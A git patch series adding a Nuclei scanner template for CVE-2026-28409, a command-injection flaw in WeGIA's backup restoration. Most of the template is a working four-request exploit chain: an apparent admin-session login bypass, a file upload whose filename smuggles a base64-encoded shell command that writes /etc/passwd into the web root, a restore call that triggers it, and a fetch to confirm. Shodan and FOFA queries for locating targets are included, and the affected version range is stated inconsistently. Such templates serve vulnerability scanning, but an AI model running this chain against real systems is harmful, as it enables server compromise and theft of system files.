From 4675dacf6d5a32373f26ebd780e448c377c7230a Mon Sep 17 00:00:00 2001
From: Roberto Nunes <46332131+Akokonunes@users.noreply.github.com>
Date: Fri, 17 Apr 2026 12:00:44 +0900
Subject: [PATCH 1/4] Add CVE-2026-28409 for WeGIA remote code execution

CVE-2026-28409 details added, highlighting a critical remote code execution vulnerability in WeGIA versions <= 3.6.4. The YAML file includes information on impact, remediation, and example HTTP requests.
---
 http/cves/CVE-2026-28409.yaml | 114 ++++++++++++++++++++++++++++++++++
 1 file changed, 114 insertions(+)
 create mode 100644 http/cves/CVE-2026-28409.yaml

diff --git a/http/cves/CVE-2026-28409.yaml b/http/cves/CVE-2026-28409.yaml
new file mode 100644
index 000000000000..a836a877a01a
--- /dev/null
+++ b/http/cves/CVE-2026-28409.yaml
@@ -0,0 +1,114 @@
+id: CVE-2026-28409
+
+info:
+  name: WeGIA <= 3.6.4 - Remote Code Execution
+  author: 0x_Akoko
+  severity: critical
+  description: |
+   WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
+  impact: |
+   Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
+  remediation: |
+   Upgrade to version 3.6.5 or later.
+  reference:
+    - https://cxsecurity.com/issue/WLB-2026030009
+    - https://github.com/LabRedesCefetRJ/WeGIA
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-28409
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 10.0
+    cve-id: CVE-2026-28409
+    cwe-id: CWE-78
+  metadata:
+    verified: true
+    max-request: 4
+    vendor: labredescefetRJ
+    product: wegia
+    shodan-query: http.html:"WeGIA"
+    fofa-query: body="WeGIA"
+  tags: cve,cve2026,wegia,rce,cmdi,auth-bypass,unauth
+
+variables:
+  filename: "{{to_lower(rand_text_alpha(8))}}"
+
+flow: http(1) && http(2) && http(3) && http(4)
+
+http:
+  - raw:
+      - |
+        POST /WeGIA/html/login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        c=true&cpf=admin&id_pessoa=1
+
+    extractors:
+      - type: regex
+        name: session
+        part: header
+        group: 1
+        regex:
+          - 'PHPSESSID=([a-zA-Z0-9]+)'
+        internal: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+        internal: true
+
+  - raw:
+      - |
+        POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: PHPSESSID={{session}}
+        Content-Type: multipart/form-data; boundary=----test0boundary
+
+        ------test0boundary
+        Content-Disposition: form-data; name="usuario"
+
+        1
+        ------test0boundary
+        Content-Disposition: form-data; name="id_pessoa"
+
+        1
+        ------test0boundary
+        Content-Disposition: form-data; name="import"; filename="dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz"
+        Content-Type: application/gzip
+
+        {{hex_decode("1f8b08000000000000030300000000000000000000")}}
+        ------test0boundary--
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 302'
+        internal: true
+
+  - raw:
+      - |
+        GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: PHPSESSID={{session}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+        internal: true
+
+  - raw:
+      - |
+        GET /WeGIA/{{filename}}.txt HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+
+      - type: status
+        status:
+          - 200

From a2e8a2124ae4eff38f14119b753386f055f0380f Mon Sep 17 00:00:00 2001
From: Dhiyaneshwaran <leedhiyanesh@gmail.com>
Date: Fri, 17 Apr 2026 12:16:37 +0530
Subject: [PATCH 2/4] Apply suggestion from @neo-by-projectdiscovery-dev[bot]

Co-authored-by: neo-by-projectdiscovery-dev[bot] <261965179+neo-by-projectdiscovery-dev[bot]@users.noreply.github.com>
---
 http/cves/CVE-2026-28409.yaml | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/http/cves/CVE-2026-28409.yaml b/http/cves/CVE-2026-28409.yaml
index a836a877a01a..ac76c5c16303 100644
--- a/http/cves/CVE-2026-28409.yaml
+++ b/http/cves/CVE-2026-28409.yaml
@@ -15,7 +15,8 @@ info:
     - https://github.com/LabRedesCefetRJ/WeGIA
     - https://nvd.nist.gov/vuln/detail/CVE-2026-28409
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
+cvss-score: 7.2
     cvss-score: 10.0
     cve-id: CVE-2026-28409
     cwe-id: CWE-78

From 9cd8a8e78cb68ecfc6dd9d521e89f67885516ebf Mon Sep 17 00:00:00 2001
From: Dhiyaneshwaran <leedhiyanesh@gmail.com>
Date: Fri, 17 Apr 2026 12:17:52 +0530
Subject: [PATCH 3/4] Update CVE-2026-28409.yaml

---
 http/cves/CVE-2026-28409.yaml | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/http/cves/CVE-2026-28409.yaml b/http/cves/CVE-2026-28409.yaml
index ac76c5c16303..43b4ad9989f9 100644
--- a/http/cves/CVE-2026-28409.yaml
+++ b/http/cves/CVE-2026-28409.yaml
@@ -5,18 +5,17 @@ info:
   author: 0x_Akoko
   severity: critical
   description: |
-   WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
+    WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
   impact: |
-   Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
+    Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
   remediation: |
-   Upgrade to version 3.6.5 or later.
+    Upgrade to version 3.6.5 or later.
   reference:
     - https://cxsecurity.com/issue/WLB-2026030009
     - https://github.com/LabRedesCefetRJ/WeGIA
     - https://nvd.nist.gov/vuln/detail/CVE-2026-28409
   classification:
-cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
-cvss-score: 7.2
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 10.0
     cve-id: CVE-2026-28409
     cwe-id: CWE-78

From f4933970c743dbe3b96eca457bb1b85b99fa4071 Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Tue, 21 Apr 2026 23:27:05 +0530
Subject: [PATCH 4/4] Update and rename http/cves/CVE-2026-28409.yaml to
 http/cves/2026/CVE-2026-28409.yaml

---
 http/cves/{ => 2026}/CVE-2026-28409.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
 rename http/cves/{ => 2026}/CVE-2026-28409.yaml (98%)

diff --git a/http/cves/CVE-2026-28409.yaml b/http/cves/2026/CVE-2026-28409.yaml
similarity index 98%
rename from http/cves/CVE-2026-28409.yaml
rename to http/cves/2026/CVE-2026-28409.yaml
index 43b4ad9989f9..013f446f8fc4 100644
--- a/http/cves/CVE-2026-28409.yaml
+++ b/http/cves/2026/CVE-2026-28409.yaml
@@ -26,7 +26,7 @@ info:
     product: wegia
     shodan-query: http.html:"WeGIA"
     fofa-query: body="WeGIA"
-  tags: cve,cve2026,wegia,rce,cmdi,auth-bypass,unauth
+  tags: cve,cve2026,wegia,rce
 
 variables:
   filename: "{{to_lower(rand_text_alpha(8))}}"